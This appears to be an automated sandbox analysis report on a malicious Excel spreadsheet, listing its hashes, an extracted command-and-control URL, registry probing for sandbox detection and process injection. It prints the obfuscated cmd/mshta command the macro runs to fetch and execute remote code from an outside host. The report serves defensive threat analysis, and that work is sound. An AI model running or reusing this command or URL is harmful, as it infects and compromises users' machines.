Analysis
-
max time kernel
103s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
22-05-2022 05:29
Behavioral task
behavioral1
Sample
?i=1okixezym.xls
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
?i=1okixezym.xls
Resource
win10v2004-20220414-en
General
-
Target
?i=1okixezym.xls
-
Size
129KB
-
MD5
e695d8c6c6db341f12701b4d18dd0d19
-
SHA1
c73f399a25902d8d935e8b6b857ba9203c8536fe
-
SHA256
59cb2552a34b231acb92fcee121b13d662ca7f0049a70aae86fe312270f548e5
-
SHA512
605ba80a24c02cd34763177f1e99d0b74dd6a291623f1433f8f38cf357bd9ab5516c884ee569a5b0ffbc3bdc7645b8274a3428f3fb0f768d5be2a2f4ceaeacb0
Malware Config
Extracted
http://185.7.214.7/cc.html
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 2832 4748 cmd.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
mshta.exeflow pid process 17 1404 mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 4748 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 13 IoCs
Processes:
EXCEL.EXEpid process 4748 EXCEL.EXE 4748 EXCEL.EXE 4748 EXCEL.EXE 4748 EXCEL.EXE 4748 EXCEL.EXE 4748 EXCEL.EXE 4748 EXCEL.EXE 4748 EXCEL.EXE 4748 EXCEL.EXE 4748 EXCEL.EXE 4748 EXCEL.EXE 4748 EXCEL.EXE 4748 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
EXCEL.EXEcmd.exedescription pid process target process PID 4748 wrote to memory of 2832 4748 EXCEL.EXE cmd.exe PID 4748 wrote to memory of 2832 4748 EXCEL.EXE cmd.exe PID 2832 wrote to memory of 1404 2832 cmd.exe mshta.exe PID 2832 wrote to memory of 1404 2832 cmd.exe mshta.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\_i=1okixezym.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mshta.exemshta http://0xb907d607/cc.html3⤵
- Blocklisted process makes network request
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/1404-138-0x0000000000000000-mapping.dmp
-
memory/2832-137-0x0000000000000000-mapping.dmp
-
memory/4748-136-0x00007FF7FF2E0000-0x00007FF7FF2F0000-memory.dmpFilesize
64KB
-
memory/4748-133-0x00007FF801710000-0x00007FF801720000-memory.dmpFilesize
64KB
-
memory/4748-134-0x00007FF801710000-0x00007FF801720000-memory.dmpFilesize
64KB
-
memory/4748-135-0x00007FF7FF2E0000-0x00007FF7FF2F0000-memory.dmpFilesize
64KB
-
memory/4748-130-0x00007FF801710000-0x00007FF801720000-memory.dmpFilesize
64KB
-
memory/4748-132-0x00007FF801710000-0x00007FF801720000-memory.dmpFilesize
64KB
-
memory/4748-131-0x00007FF801710000-0x00007FF801720000-memory.dmpFilesize
64KB
-
memory/4748-141-0x00007FF801710000-0x00007FF801720000-memory.dmpFilesize
64KB
-
memory/4748-143-0x00007FF801710000-0x00007FF801720000-memory.dmpFilesize
64KB
-
memory/4748-142-0x00007FF801710000-0x00007FF801720000-memory.dmpFilesize
64KB
-
memory/4748-144-0x00007FF801710000-0x00007FF801720000-memory.dmpFilesize
64KB